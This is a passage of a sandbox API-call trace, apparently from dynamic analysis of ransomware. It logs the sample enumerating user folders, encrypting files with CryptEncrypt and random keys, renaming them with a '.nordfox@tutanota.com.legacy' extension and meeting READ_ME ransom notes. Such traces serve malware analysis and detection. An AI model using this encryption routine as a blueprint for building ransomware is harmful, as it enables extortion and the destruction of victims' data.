lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x129e4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x129e4, lpOverlapped=0x0) returned 1 [0113.481] SetFilePointer (in: hFile=0x60c, lDistanceToMove=-76260, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.482] WriteFile (in: hFile=0x60c, lpBuffer=0x5fc5c0*, nNumberOfBytesToWrite=0x129e4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fc5c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x129e4, lpOverlapped=0x0) returned 1 [0113.482] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0113.483] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fc5c0 | out: hHeap=0x520000) returned 1 [0113.485] SetFilePointer (in: hFile=0x60c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x129e4 [0113.485] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.485] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.486] WriteFile (in: hFile=0x60c, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.486] WriteFile (in: hFile=0x60c, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.486] CloseHandle (hObject=0x60c) returned 1 [0113.486] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0113.486] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0113.486] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\9BMwU.avi" (normalized: "c:\\users\\fd1hvy\\videos\\9bmwu.avi"), lpNewFileName="\\Users\\FD1HVy\\Videos\\9BMwU.avi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\videos\\9bmwu.avi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ea0 | out: hHeap=0x520000) returned 1 [0113.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0113.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0113.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0113.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0113.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0113.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0113.488] FindFirstFileW (in: lpFileName="\\Users\\Public\\AccountPictures\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd27e12d6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c66d8 [0113.488] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5592f8 | out: hHeap=0x520000) returned 1 [0113.488] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0113.488] GetLastError () returned 0x0 [0113.488] SetLastError (dwErrCode=0x0) [0113.489] GetLastError () returned 0x0 [0113.489] SetLastError (dwErrCode=0x0) [0113.489] GetLastError () returned 0x0 [0113.489] SetLastError (dwErrCode=0x0) [0113.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0113.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0113.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0113.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6558 [0113.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0113.489] FindNextFileW (in: hFindFile=0x5c66d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xd27e12d6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0113.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.489] GetLastError () returned 0x0 [0113.489] SetLastError (dwErrCode=0x0) [0113.489] GetLastError () returned 0x0 [0113.489] SetLastError (dwErrCode=0x0) [0113.489] GetLastError () returned 0x0 [0113.489] SetLastError (dwErrCode=0x0) [0113.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0113.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0113.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0113.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6398 [0113.489] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0113.490] FindNextFileW (in: hFindFile=0x5c66d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xce317778, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0113.490] GetLastError () returned 0x0 [0113.490] SetLastError (dwErrCode=0x0) [0113.490] GetLastError () returned 0x0 [0113.490] SetLastError (dwErrCode=0x0) [0113.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0113.490] SetLastError (dwErrCode=0x0) [0113.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d640 [0113.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0113.490] FindNextFileW (in: hFindFile=0x5c66d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd27e12d6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd27e12d6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd27e12d6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0113.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0113.490] GetLastError () returned 0x0 [0113.490] SetLastError (dwErrCode=0x0) [0113.490] GetLastError () returned 0x0 [0113.490] SetLastError (dwErrCode=0x0) [0113.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0113.490] SetLastError (dwErrCode=0x0) [0113.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d618 [0113.490] FindNextFileW (in: hFindFile=0x5c66d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd27e12d6, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd27e12d6, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd27e12d6, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0113.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0113.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0113.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3508 [0113.491] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0113.491] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3508 | out: pbBuffer=0x5c3508) returned 1 [0113.491] SetFileAttributesW (lpFileName="\\Users\\Public\\AccountPictures\\desktop.ini", dwFileAttributes=0x80) returned 1 [0113.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0113.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7e60 [0113.491] CreateFileW (lpFileName="\\Users\\Public\\AccountPictures\\desktop.ini" (normalized: "c:\\users\\public\\accountpictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0113.491] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=196) returned 1 [0113.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc4) returned 0x571fc8 [0113.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc4) returned 0x5646a8 [0113.492] ReadFile (in: hFile=0x610, lpBuffer=0x571fc8, nNumberOfBytesToRead=0xc4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x571fc8*, lpNumberOfBytesRead=0x2e1f9bc*=0xc4, lpOverlapped=0x0) returned 1 [0113.492] SetFilePointer (in: hFile=0x610, lDistanceToMove=-196, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.493] WriteFile (in: hFile=0x610, lpBuffer=0x5646a8*, nNumberOfBytesToWrite=0xc4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc4, lpOverlapped=0x0) returned 1 [0113.493] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc4 [0113.493] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0113.493] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0113.493] WriteFile (in: hFile=0x610, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0113.493] WriteFile (in: hFile=0x610, lpBuffer=0x5c3508*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3508*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0113.493] CloseHandle (hObject=0x610) returned 1 [0113.493] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0113.494] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3508 | out: hHeap=0x520000) returned 1 [0113.494] MoveFileExW (lpExistingFileName="\\Users\\Public\\AccountPictures\\desktop.ini" (normalized: "c:\\users\\public\\accountpictures\\desktop.ini"), lpNewFileName="\\Users\\Public\\AccountPictures\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\public\\accountpictures\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0113.495] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7e60 | out: hHeap=0x520000) returned 1 [0113.495] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0113.495] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0113.495] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671c0 [0113.495] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0113.495] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c48 | out: hHeap=0x520000) returned 1 [0113.495] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d168 | out: hHeap=0x520000) returned 1 [0113.495] FindFirstFileW (in: lpFileName="\\Users\\Public\\Desktop\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xd1e82a69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6458 [0113.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0113.496] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.496] GetLastError () returned 0x0 [0113.496] SetLastError (dwErrCode=0x0) [0113.496] GetLastError () returned 0x0 [0113.496] SetLastError (dwErrCode=0x0) [0113.496] GetLastError () returned 0x0 [0113.496] SetLastError (dwErrCode=0x0) [0113.496] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0113.496] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d348 [0113.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0113.496] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d230 [0113.496] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6498 [0113.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6498 | out: hHeap=0x520000) returned 1 [0113.496] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0113.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0113.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d230 | out: hHeap=0x520000) returned 1 [0113.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0113.496] FindNextFileW (in: hFindFile=0x5c6458, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xd1e82a69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0113.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.496] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0113.497] GetLastError () returned 0x0 [0113.497] SetLastError (dwErrCode=0x0) [0113.497] GetLastError () returned 0x0 [0113.497] SetLastError (dwErrCode=0x0) [0113.497] GetLastError () returned 0x0 [0113.497] SetLastError (dwErrCode=0x0) [0113.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0113.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0113.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0113.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d618 [0113.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6498 [0113.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6498 | out: hHeap=0x520000) returned 1 [0113.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20168 [0113.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20168 | out: hHeap=0x520000) returned 1 [0113.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d618 | out: hHeap=0x520000) returned 1 [0113.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0113.497] FindNextFileW (in: hFindFile=0x5c6458, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38bb5c78, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38bb5c78, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38bb5c78, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x852, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Acrobat Reader DC.lnk", cAlternateFileName="ACROBA~1.LNK")) returned 1 [0113.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0113.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.497] GetLastError () returned 0x0 [0113.497] SetLastError (dwErrCode=0x0) [0113.497] GetLastError () returned 0x0 [0113.497] SetLastError (dwErrCode=0x0) [0113.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x55a0c8 [0113.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.497] GetLastError () returned 0x0 [0113.498] SetLastError (dwErrCode=0x0) [0113.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0113.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0113.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0113.498] FindNextFileW (in: hFindFile=0x5c6458, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa08e58, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55a0c8 | out: hHeap=0x520000) returned 1 [0113.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0113.498] GetLastError () returned 0x0 [0113.498] SetLastError (dwErrCode=0x0) [0113.498] GetLastError () returned 0x0 [0113.498] SetLastError (dwErrCode=0x0) [0113.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0113.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0113.498] GetLastError () returned 0x0 [0113.498] SetLastError (dwErrCode=0x0) [0113.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d578 [0113.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0113.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0113.498] FindNextFileW (in: hFindFile=0x5c6458, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c3ce2c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c6308a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x91a, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0113.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0113.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789f8 [0113.498] GetLastError () returned 0x0 [0113.498] SetLastError (dwErrCode=0x0) [0113.499] GetLastError () returned 0x0 [0113.499] SetLastError (dwErrCode=0x0) [0113.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0113.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789f8 | out: hHeap=0x520000) returned 1 [0113.499] GetLastError () returned 0x0 [0113.499] SetLastError (dwErrCode=0x0) [0113.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566e78 [0113.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566e78 | out: hHeap=0x520000) returned 1 [0113.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0113.499] FindNextFileW (in: hFindFile=0x5c6458, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef84fc3f, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef84fc3f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef84fc3f, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0113.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0113.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0113.499] GetLastError () returned 0x0 [0113.499] SetLastError (dwErrCode=0x0) [0113.499] GetLastError () returned 0x0 [0113.499] SetLastError (dwErrCode=0x0) [0113.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0113.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0113.499] GetLastError () returned 0x0 [0113.499] SetLastError (dwErrCode=0x0) [0113.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0113.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0113.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0113.499] FindNextFileW (in: hFindFile=0x5c6458, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1e82a69, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1e82a69, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2807568, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0113.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0113.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0113.500] GetLastError () returned 0x0 [0113.500] SetLastError (dwErrCode=0x0) [0113.500] GetLastError () returned 0x0 [0113.500] SetLastError (dwErrCode=0x0) [0113.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0113.500] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0113.500] GetLastError () returned 0x0 [0113.500] SetLastError (dwErrCode=0x0) [0113.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d168 [0113.500] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d168 | out: hHeap=0x520000) returned 1 [0113.500] FindNextFileW (in: hFindFile=0x5c6458, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1e82a69, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd1e82a69, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2807568, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0113.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0113.500] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0113.500] 